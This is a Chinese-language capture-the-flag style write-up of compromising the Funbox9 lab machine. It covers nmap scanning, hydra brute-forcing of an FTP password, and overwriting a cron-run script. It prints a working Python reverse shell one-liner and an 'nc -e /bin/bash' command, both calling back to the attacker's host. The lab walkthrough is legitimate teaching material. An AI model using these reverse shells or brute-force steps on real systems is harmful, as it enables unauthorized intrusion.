通过python获取靶机的反弹Shell [靶机实战]

1、环境

Kali:172.30.1.3/24

靶机(Funbox9):172.30.1.129/24


2、信息收集

通过nmap扫描此主机,我们需要获取到开放的端口以及服务的Banner

1 nmap -sV -T5 -A 172.30.1.129

 通过扫描我们发现,目标主机开放着21端口,服务Banner是 vsftpd 2.3.4,并且允许匿名登录


我们尝试ftp匿名连接此主机:

 根据其返回信息,我们发现了一个可能是一个本地用户的信息:sky用户,可以看到此用户是一个管理员


我们可以尝试对此用户进行ftp密码的爆破,看看能不能获取到其密码(可能无法成功):

1 hydra -l sky -P /usr/share/wordlists/rockyou.txt ftp://172.30.1.129

跑了一段时间后,这是最终的结果:

 sky用户的密码为thebest;我们尝试连接:

登录后我们发现,sky并没有被困在 chroot中:

 我们可以以此为突破点,搞一些别的事情,但这里我们试着通过python建立一个反向shell

user.flag 文件 sky用户有着写与执行的权限

 将此文件下载后发现,这是一个脚本文件,再进行推理,很可能是一个由系统周期运行的脚本

所以我们可以重写此脚本,然后上传

 


考虑到一般这种系统的安全防护做的很高,所以此时我们直接通过 

nc -nv 172.30.1.3 -e /bin/bash

这种方法可能无法成功建立连接

于是我们使用以下方法来进行连接:

将此命令插入到脚本中,并且上传,这是一个通过python实现的反弹shell,更多方式大家可以去看这个网站:Online - Reverse Shell Generator (revshells.com)

export RHOST="172.30.1.3";export RPORT=25565;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'

 

 


 

 

随后,我们在本地监听25565端口,等待连接:

1 nc -lvnp 25565

 


 

靶机成功运行此脚本,证明我们的推理是正确的:

 最终,我们获取了 sarah 的shell

 


 

PS:

从渗透的角度来看,还可以通过 vsftpd 2.3.4 这个版本通过msf直接利用后门漏洞也是可以的

 

posted @ 2023-05-25 19:47  CrazyLoe  阅读(326)  评论(0编辑  收藏  举报